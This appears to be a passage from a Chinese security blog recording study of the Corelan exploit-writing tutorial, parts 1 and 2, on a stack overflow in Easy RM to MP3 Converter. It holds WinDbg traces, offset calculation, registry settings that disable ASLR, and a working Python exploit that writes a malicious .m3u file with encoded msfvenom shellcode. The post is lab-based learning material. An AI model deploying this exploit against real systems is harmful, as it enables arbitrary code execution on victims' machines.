<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v38</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x2200u</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v36</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x230Cu</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">DstBuf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x400u</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">Str</span> <span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sub_431330</span><span class="p">(</span><span class="n">Str</span><span class="p">)</span> <span class="p">)</span>
<span class="k">goto</span> <span class="n">LABEL_42</span><span class="p">;</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">Str</span><span class="p">,</span> <span class="n">aRb</span><span class="p">);</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">result</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="n">fread</span><span class="p">(</span><span class="o">&</span><span class="n">DstBuf</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="mh">0x400u</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">fseek</span><span class="p">(</span><span class="n">v5</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="p">)</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v6</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
<span class="n">fclose</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o"><=</span> <span class="mh">0x40000</span> <span class="p">)</span>
<span class="p">{</span>
<span class="nl">LABEL_42:</span>
<span class="n">sub_418D30</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="n">sub_41E2B0</span><span class="p">(</span><span class="n">v2</span><span class="p">,</span> <span class="n">Str</span><span class="p">);</span>
<span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//......</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在函数中fread读取了0x400字节至<code class="language-plaintext highlighter-rouge">sp+18h</code>,随后调用漏洞函数<code class="language-plaintext highlighter-rouge">sub_41E2B0</code>并push了一个参数,栈帧大小和布局和前文的dump完全一致:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0041BCEF
.text:0041BCEF loc_41BCEF:
.text:0041BCEF push 2
.text:0041BCF1 mov ecx, ebx
.text:0041BCF3 call sub_418D30
.text:0041BCF8 push ebp
.text:0041BCF9 mov ecx, ebx
.text:0041BCFB call sub_41E2B0
</code></pre></div></div>
<p>又多看了眼漏洞函数,在尾部有对局部变量Str清零的操作:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">signed</span> <span class="kt">int</span> <span class="n">__thiscall</span> <span class="nf">sub_41E2B0</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">this</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="kt">char</span> <span class="n">Str</span><span class="p">;</span> <span class="c1">// [sp+2328h] [bp-6600h]@3</span>
<span class="kt">char</span> <span class="n">v51</span><span class="p">;</span> <span class="c1">// [sp+232Bh] [bp-65FDh]@13</span>
<span class="kt">char</span> <span class="n">v52</span><span class="p">[</span><span class="mi">8704</span><span class="p">];</span> <span class="c1">// [sp+4528h] [bp-4400h]@3</span>
<span class="kt">char</span> <span class="n">v53</span><span class="p">;</span> <span class="c1">// [sp+6728h] [bp-2200h]@8</span>
<span class="c1">//......</span>
<span class="nl">LABEL_7:</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">ArgList</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
<span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">137542</span><span class="p">);</span>
<span class="n">v47</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">a2</span><span class="p">);</span>
<span class="n">sub_422E90</span><span class="p">(</span><span class="n">v10</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&</span><span class="n">v47</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v53</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x2200u</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">))((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">25714</span><span class="p">))(</span><span class="o">&</span><span class="n">Str</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="nl">LABEL_56:</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">Str</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x400u</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">**</span><span class="p">)(</span><span class="kt">void</span><span class="p">))((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">25710</span><span class="p">))();</span>
<span class="n">result</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">dword_47BEA8</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="err">}</span>
</code></pre></div></div>
<p>调试验证也是如此,其后依旧跟着许多”A”,感兴趣的同学也可以试试在这里放置shellcode跳转执行:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> d esp-8-6600+400-20
000f9a9c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9aac 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9abc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9acc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9adc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9aec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9afc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9b0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre></div></div>
<p>既然函数调用过程中会fread起始的0x400字节,那么就在此处填充shellcode,直接覆盖eip为固定的栈地址,同样也是可以利用成功的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ret</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xdc\xfc\x0f\x00</span><span class="s">"</span> <span class="c1"># 000ffcdc
</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5e\xbd\xbb\x98\xc5\x45\x59\xe5</span><span class="s">"</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x6600</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="c1"># with open("pattern.txt", "r") as f:
# pattern = f.read().strip()
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">ret</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.m3u"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h2>other jumps</h2>
<p>个人觉得这一段还是在说,劫持eip可以执行我们的汇编代码后,手工编写jump2shellcode的一些方法:</p>
<ol>
<li>使用<code class="language-plaintext highlighter-rouge">popad</code>指令高效增加栈地址,随后<code class="language-plaintext highlighter-rouge">jump esp</code>。</li>
<li>直接jump硬编码地址。</li>
<li>使用近跳<code class="language-plaintext highlighter-rouge">\xe9</code>、远跳<code class="language-plaintext highlighter-rouge">\xea</code>、短跳<code class="language-plaintext highlighter-rouge">\xeb</code>负值。</li>
<li>也可以考虑使用条件跳转相关指令。</li>
</ol>
<h1>0x02 总结</h1>
<p>整个原文有趣的是,在开始处提了几笔shellcode编码和填充nop的事情,中间也说了一下软件dll rebase可能会导致地址不靠谱,用系统dll比较稳一点,看来之前的磨刀并没有耽误砍柴工。</p>
<p>这一章就是要跳转至shellcode执行,这个事分为两步,一个是寻找跳转的指令,一个是寻找跳转的地址。私以为漏洞利用的水平取决于,对软件功能点逆向的熟悉度,对漏洞上下文环境的观察度,对漏洞利用技巧的掌握度,整体思路的把握度再加上一点点创新度,仅此而已,聊以共勉。</p>
Larryxi
0x00 环境搭建 Part2作为Part1的延续,在Part1基础的栈溢出漏洞上,介绍了几种ret2shellcode的方法,所以安全机制依旧是全关。虽然最终是跳转shellcode执行,但其中也掺杂了一些gadget选取和rop链的构造思想,有些地方还需要进一步的逆向和尝试,遂成此文。
Learn Corelan Exploit Writing Part 1
2018-08-04T00:00:00+00:00
2018-08-04T00:00:00+00:00
https://larryxi.github.io/2018/08/04/learn-corelan-exploit-writing-part-one
<h1>0x00 环境搭建</h1>
<p>茅盾说:我从来不梦想,我只是在努力认识现实。所以经典的Corelan Team漏洞利用教程还是要先过一遍的。<a href="https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/">Part 1</a>只是以一个现实漏洞为例,介绍了栈溢出的原理和基本的利用过程。学习别人的东西我也就不用英文装模作样了,还能提高一下效率/笑哭。</p>
<!-- more -->
<p>原文中的操作系统为xp en sp3,我在使用WinDbg 6.12的时候发现下载系统Symbol文件时老是链接重置,貌似是微软不再支持xp的符号表了。强迫症所致就换成win7 x86 en sp1来进行后续的实验。用win7就得考虑禁用一些安全机制了,DEP不多说,自Vista往后系统会因为ASLR默认对系统的dll和exe的加载地址随机化,而且同一个模块在不同进程中的加载地址一致,即仅在系统范围内第一次加载时才进行随机化。在win7上修改注册表即可<a href="http://helloong.tistory.com/155">禁用</a>ASLR机制:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"MoveImages"=dword:00000000
</code></pre></div></div>
<p>原文中为了保证exploit的通用性选择了Easy RM to MP3 Converter软件自带dll中的跳转指令。经过个人的实验后,感觉因为rebase的原因,即使在xp上多次运行软件后,软件和系统的dll的加载地址也会有个别的变化。既然是不考虑安全机制,干脆就在win7上禁用ASLR,使用系统dll中的跳转指令比较稳一点。在搜索ASLR和rebase的过程发现了一些有趣的文章,好奇的同学可以参看参看:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/9560993/how-do-you-disable-aslr-address-space-layout-randomization-on-windows-7-x64">How do you disable ASLR (address space layout randomization) on Windows 7 x64?</a></li>
<li><a href="https://samsclass.info/127/proj/easymp3.htm">Exploiting Easy RM to MP3 Converter on Windows 7 (Without ASLR)</a></li>
<li><a href="https://digital-forensics.sans.org/blog/2014/02/17/malware-analysis-and-aslr-on-windows-8-1">Dealing with ASLR When Analyzing Malware on Windows 8.1</a></li>
<li><a href="https://www.kb.cert.org/vuls/id/817544">Vulnerability Note VU#817544</a></li>
<li><a href="https://blogs.technet.microsoft.com/srd/2010/12/08/on-the-effectiveness-of-dep-and-aslr/">On the effectiveness of DEP and ASLR</a></li>
<li><a href="https://msdn.microsoft.com/en-us/library/bb430720.aspx">Windows ISV Software Security Defenses</a></li>
<li><a href="https://blog.csdn.net/Sagittarius_Warrior/article/details/52100226">《Windows核心编程》之“ASLR .vs Rebasing dlls”</a></li>
<li><a href="http://www.freebuf.com/articles/system/29392.html">ASLR在Windows与Linux系统之间的差别</a></li>
</ul>
<h1>0x01 漏洞定位</h1>
<p>原文确定offset后,直接覆盖eip跳转至栈上执行shllcode。其中留下的疑问大多都是和漏洞点相关的,所以此小节通过windbg调试定位漏洞点,不当之处还请指正。</p>
<p>Msf的<a href="https://www.offensive-security.com/metasploit-unleashed/">文档</a>好像又更新了,但确定偏移的工具和文中的一样,我这里也用25000个A和5000个pattern生成payload定位offset:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb <span class="nt">-h</span>
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb <span class="o">[</span>options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb <span class="nt">-l</span> 50 <span class="nt">-s</span> ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
<span class="nt">-l</span>, <span class="nt">--length</span> <length> The length of the pattern
<span class="nt">-s</span>, <span class="nt">--sets</span> <ABC,def,123> Custom Pattern Sets
<span class="nt">-h</span>, <span class="nt">--help</span> Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb <span class="nt">-l</span> 5000 <span class="o">></span> pattern.txt
</code></pre></div></div>
<p>python小脚本生成carsh.m3u后,拖进软件windbg捕获异常:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(ba0.e4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=016105c0 esi=6fff2960 edi=00007532
eip=42396b42 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42396b42 ?? ???
</code></pre></div></div>
<p>由此可确定offset为1107:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb <span class="nt">-h</span>
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb <span class="o">[</span>options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb <span class="nt">-q</span> Aa3A
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Exact match at offset 9
Options:
<span class="nt">-q</span>, <span class="nt">--query</span> Aa0A Query to Locate
<span class="nt">-l</span>, <span class="nt">--length</span> <length> The length of the pattern
<span class="nt">-s</span>, <span class="nt">--sets</span> <ABC,def,123> Custom Pattern Sets
<span class="nt">-h</span>, <span class="nt">--help</span> Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb <span class="nt">-q</span> 0x42396b42 <span class="nt">-l</span> 5000
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Exact match at offset 1107
</code></pre></div></div>
<p>一开始想通过栈帧回溯确定漏洞点,但如同提示一样栈帧可能不靠谱:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
000ffcc0 326c4231 0x42396b42
00104620 77d45aa7 0x326c4231
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> u 0x326c4231
326c4231 ?? ???
^ Memory access error in 'u 0x326c4231'
</code></pre></div></div>
<p>首先想到可能因为eip被覆盖为pattern中的无效地址所以栈回溯有问题,那我找个有效的ret地址:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> lm m kernel*
start end module name
0dce0000 0dd2a000 KERNELBASE (deferred)
77de0000 77eb4000 kernel32 (deferred)
0:000> s 77de0000 77eb4000 cc
77de0087 cc 27 eb f1 cc 27 eb f1-cc 2e 93 62 cc 16 eb f1 .'...'.....b....
......
77eb2fd8 cc 3a d0 3a e5 3a 06 3b-0c 3b 34 3b 38 3b 3c 3b .:.:.:.;.;4;8;<;
</code></pre></div></div>
<p>将eip覆盖为0x77eb2fd8,栈帧回溯显得更加不靠谱了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(bdc.c20): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=017f05c0 esi=6fff2960 edi=0000661f
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00104604 6172635c 6d2e6873 00007533 0000036a kernel32!WakeConditionVariable+0x13839
00104620 77d45aa7 006cfa18 0000036a 00000000 0x6172635c
0010465c 77d37206 00000000 0000036a 00000000 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 0020024c 0000036a 00000000 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 0010471c 77d2c641 77d2c5fe USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 77d2c5fe d29c9d8a 0000036a USER32!DefWindowProcA+0x6b
0010476c 718a3335 7198dbbc 7198e9e4 00000000 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 00000000 00000000 00000000 MFC42!Ordinal2385+0x2a
0:000> u 6172635c
6172635c ?? ???
^ Memory access error in 'u 6172635c '
</code></pre></div></div>
<p>只得另寻蹊径了,因为是禁止了ASLR,所以进程的堆栈地址是不会变的,通过前文的调试可知,覆盖eip后esp的值都为0x000ffcc4,那么缓冲区的起始地址即为<code class="language-plaintext highlighter-rouge">0x000ffcc4-25000-1107-4-4=0x000f96c1</code>,也可以通过查看相关地址内容验证,但缓冲区的起始部分可能因为其他的操作而清零了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> d esp-0n25000-0n1107-0n4-0n4
000f96c1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96d1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96e1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96f1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9701 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9711 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9721 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9731 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d esp-0n4-0n4
000ffcbc d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
000ffccc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffcdc 43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41 CCCC.AAAAAAAAAAA
000ffcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffcfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd2c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre></div></div>
<p>此漏洞是个栈溢出漏洞,所以漏洞触发的环节肯定是往缓冲区拷贝过长数据,该缓冲区的起始地址不变,我们就可以下个写操作的硬件断点,虽然断点的触发可能不止一次,但只要我们的payload被copy至缓冲区上,那该断点就是我们的目标断点:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(d18.46c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04a9ff5c ebp=04a9ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> ba w 1 0xf96c1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
0:017> bl
0 e 000f96c1 w 1 0001 (0001) 0:****
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=0000087e edx=00634124 esi=6fff2960 edi=000f96c4
eip=0041e318 esp=000f7394 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1e318:
0041e318 f3ab rep stos dword ptr es:[edi]
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=00001987 edx=00006625 esi=049ace80 edi=000f96c4
eip=10008d93 esp=000f7378 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll -
MSRMfilter03!Playlist_FindNextItem+0x53:
10008d93 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1 41 41 41 00 00 00 00 00-00 00 00 00 00 00 00 00 AAA.............
000f96d1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96e1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96f1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9701 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9711 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9721 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9731 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> g
Breakpoint 0 hit
eax=00006625 ebx=00104a1c ecx=000010c1 edx=000f73b4 esi=000fb9dc edi=000f96d4
eip=0041e553 esp=000f7394 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
RM2MP3Converter+0x1e553:
0041e553 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96d1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96e1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96f1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9701 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9711 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9721 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9731 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
